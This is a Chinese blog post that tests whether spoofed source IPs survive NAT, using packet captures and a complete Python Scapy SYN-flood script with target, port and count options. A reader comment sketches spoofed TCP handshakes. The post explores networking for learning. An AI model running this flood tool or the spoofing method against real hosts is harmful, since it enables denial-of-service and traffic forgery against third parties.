关于ip伪造的原理探究

文章最后更新时间为:2021年05月07日 19:55:11

昨天有个朋友问我ip伪造的可行性,以前没深入了解过,于是上网搜索了一番,发现syn flood普遍利用了伪造源ip的方式进行攻击。

现在需求变成:

  • 伪造源ip对目标发包,不要求接收到返回包

这个需求能实现吗?又是怎么实现的?这个问题乍一看很显然可以,但是细细想来还是有些问题不太明白。

1. 发生困惑

想了一下,这个需求在我认知里面好像是不能实现的,由于之前写syn端口扫描器的时候,在syn tcp数据包中需要填写源ip和源端口,这个源ip是某一个网卡的ip,在自己的电脑上,也就是类似于172.23.22.234的私有ip。于是我产生一个疑问,就是伪造源ip真的有用的话,那么也就代表在正常tcp握手时,server端会识别syn包里的源ip(也就是私有地址),那server端是怎么知道把ack+syn包发到哪里呢?

做个实验,使用wireshark抓包,然后访问百度。

2021-05-07T08:07:46.png

2021-05-07T08:08:34.png

可以看到syn数据包的源ip确实为内网的私有地址172.23.22.234,那么server端拿到的数据包呢,通过tcpdump抓一下包试试

2021-05-07T08:16:06.png

可以看到server端拿到的包源ip为103.202.xxx.xxx也就是我的公网地址。

于是我有点困惑,这样看来伪造数据包的源ip还有用吗?于是我带着疑问问了问别的师傅。

2021-05-07T08:19:49.png

在师傅的一番解释(胡言乱语)后,我还是没明白,于是继续实验。

2. 证明疑惑

首先看了一篇数据包发送寻址的文章一个数据包在网络中到底是怎么游走的?

摘抄出其中比较关键的句子:

  • 在网络包传输的过程中, 源IP和目标IP始终是不会变的,一直变化的是MAC地址,因为需要MAC地址在以太网内进行 两个设备之间的包传输。
  • http响应报文也需要穿上TCP、IP、MAC头部,不过这次是源地址是服务器IP地址,目的地址是客户端IP地址。

那么为什么client发送的源ip到了server端就变了,变成了client的公网ip。这是因为在经过路由器时,会发生网络地址(NAT)转换,路由器通过NAT将源数据包中的源IP由172.23.22.234转换为103.202.xxx.xxx,并且将TCP端口号转换为60159,然后在路由器内部生成转换表。

那么疑问来了,此时伪造数据包中的源ip还有用吗?经过路由器做了nat转换后最终还是会变成公网ip?

3. 解除疑惑

还是做个实验来看,首先使用python构造raw syn包,伪造其中的源ip。

#!/usr/bin/python3

from sys import stdout
from scapy.all import *
from random import randint
from argparse import ArgumentParser


def randomIP():
    # ip = ".".join(map(str, (randint(0, 255)for _ in range(4))))
    ip = "192.168.1.20"
    print(f"srcip: {ip}")
    return ip

def randInt():
    x = randint(1000, 9000)
    return x


def SYN_Flood(dstIP, dstPort, counter):
    total = 0
    print ("Packets are sending ...")

    for x in range (0, counter):
        s_port = randInt()
        s_eq = randInt()
        w_indow = randInt()

        IP_Packet = IP ()
        IP_Packet.src = randomIP()
        IP_Packet.dst = dstIP

        TCP_Packet = TCP ()
        TCP_Packet.sport = s_port
        TCP_Packet.dport = int(dstPort)
        TCP_Packet.flags = "S"
        TCP_Packet.seq = s_eq
        TCP_Packet.window = w_indow

        send(IP_Packet/TCP_Packet, verbose=0)
        total+=1

    stdout.write("\nTotal packets sent: %i\n" % total)


def main():
    parser = ArgumentParser()
    parser.add_argument('--target', '-t', help='target IP address')
    parser.add_argument('--port', '-p', help='target port number')
    parser.add_argument('--count', '-c', help='number of packets')
    parser.add_argument('--version', '-v', action='version', version='Python SynFlood Tool v2.0.1\n@EmreOvunc')
    parser.epilog = "Usage: python3 py3_synflood_cmd.py -t 10.20.30.40 -p 8080 -c 1"

    args = parser.parse_args()

    if args.target is not None:
        if args.port is not None:
            if args.count is None:
                print('[!]You did not use --counter/-c parameter, so 1 packet will be sent..')
                SYN_Flood(args.target, args.port, 1)

            else:
                SYN_Flood(args.target, args.port, int(args.count))

        else:
            print('[-]Please, use --port/-p to give target\'s port!')
            print('[!]Example: -p 445')
            print('[?] -h for help')
            exit()
    else:
        print('''usage: py3_synflood_cmd.py [-h] [--target TARGET] [--port PORT]
                           [--count COUNT] [--version]
optional arguments:
  -h, --help            show this help message and exit
  --target TARGET, -t TARGET
                        target IP address
  --port PORT, -p PORT  target port number
  --count COUNT, -c COUNT
                        number of packets
  --version, -v         show program's version number and exit''')
        exit()

main()

修改其源ip来测试一下:

首先测试伪造源ip为一个随机的公网ip:

2021-05-07T11:35:34.png

发现server收到的源ip就是我们伪造的公网ip。看来经过路由器时,对源ip是公网ip的数据包不做nat转换。

接下来将数据包的源ip改成私有ip试试,按照猜想此时server收到的源ip应该是client的公网出口ip:

2021-05-07T11:52:28.png

确实是这样,猜想正确,数据包经过路由器被NAT转换了。

回头看看,问题就是对nat转换的过程不够清晰,路由器只对特定的数据包做nat转换。

4. 总结

伪造源ip对目标发包的需求是完全可以实现的,但是需要保证伪造的src ip不能被路由器进行nat转换。一般情况下,保证伪造的源ip为公有ip即可。

1 + 3 =
12 评论
    aa Chrome 124 Windows 10
    一天前 回复

    结论是存在问题的。至少是不准确的。
    ip数据包要想发送出去,关键在于路由,即使你保证路由器不执行NAT ,但是伪造的数据包已经被丢弃了,了解一下源地址保护。

    long Chrome 114 OSX
    2023年07月26日 回复

    我想问下http层会有x-forward,remote-addr这些字段,如果只改ip层的ip难道不会被服务器检测到伪造ip吗

      saucerman Chrome 114 OSX
      2023年07月26日 回复

      @long 这个是tcp,暂不涉及http,不过你说的x-forward,remote-addr本来也就是随便改的

    a Chrome 113 OSX
    2023年05月16日 回复

    没有任何冒犯的意思,想问博主,没有学习过计算机网络这门课么?任何学校计算机专业都会开设计算机网络这门课,咋会不知道nat这个最基本的概念?
    其实,我想了解的是,博主用的是什么运营商的宽带?据说,三大运营商都会在出口处做源IP地址校验的,为啥博主你测试能成功?

      saucerman Safari iPhone
      2023年05月16日 回复

      @a 我文章有说过我不知道nat吗。。三大运营商并没做检验啊

        a Chrome 113 OSX
        2023年05月16日 回复

        @saucerman emmm,从文章中“首先看了一篇数据包发送寻址的文章一个数据包在网络中到底是怎么游走的”这里看似乎你在之前不了解NAT,我记得大学计算机网络课都会说因为IPv4地址不够,内部上网都是私有IP地址,所以会有NAT转换以及什么是NAT,那时候我们的教材对私有分类是ABC三种,还没有现在运营商级别的私有地址。
        三大运营商不做源IP校验?我记得很早之前,我学网络安全和路由交换相关课程时提到思科这种设备厂商在硬件上有很多配置,有arp绑定之类特性,其中包括源ip校验(说这种能够防范源IP伪造相关的攻击),回头我试试家里的光猫,看看能不能直接发出一个伪造源ip的包

          saucerman Chrome 113 Windows 10
          2023年05月30日 回复

          @a 我知道网关会对私有地址进行NAT转换,这也是疑惑为什么可以源ip伪造的原因,但是不知道只会对私有地址进行nat转换

    test Chrome 111 Windows 10
    2023年03月31日 回复

    谢谢 学习了

    hhah Safari 15 OSX
    2022年04月15日 回复

    之前试过,用mitm攻击可以用伪造的ip建立tcp连接,先从攻击设备上发送一个伪造ip的syn包,然后用sniff抓到服务器回的SA包,把对应的ack和seq值提取出来,ack和seq+1分别作为第三次握手的seq和ack,第三个ack包发出去就能建立tcp连接,可以直接传数据。如果伪造的ip对应的是Linux的话,服务器回包会被它接收到,由于自己没有发syn包,Linux会发出一个rst包重置连接。

      saucerman Chrome 100 OSX
      2022年04月15日 回复

      @hhah 学习了

    2 Chrome 90 Windows 10
    2021年05月19日 回复

    niubility

    1 Chrome 90 Windows 10
    2021年05月11日 回复

    学习了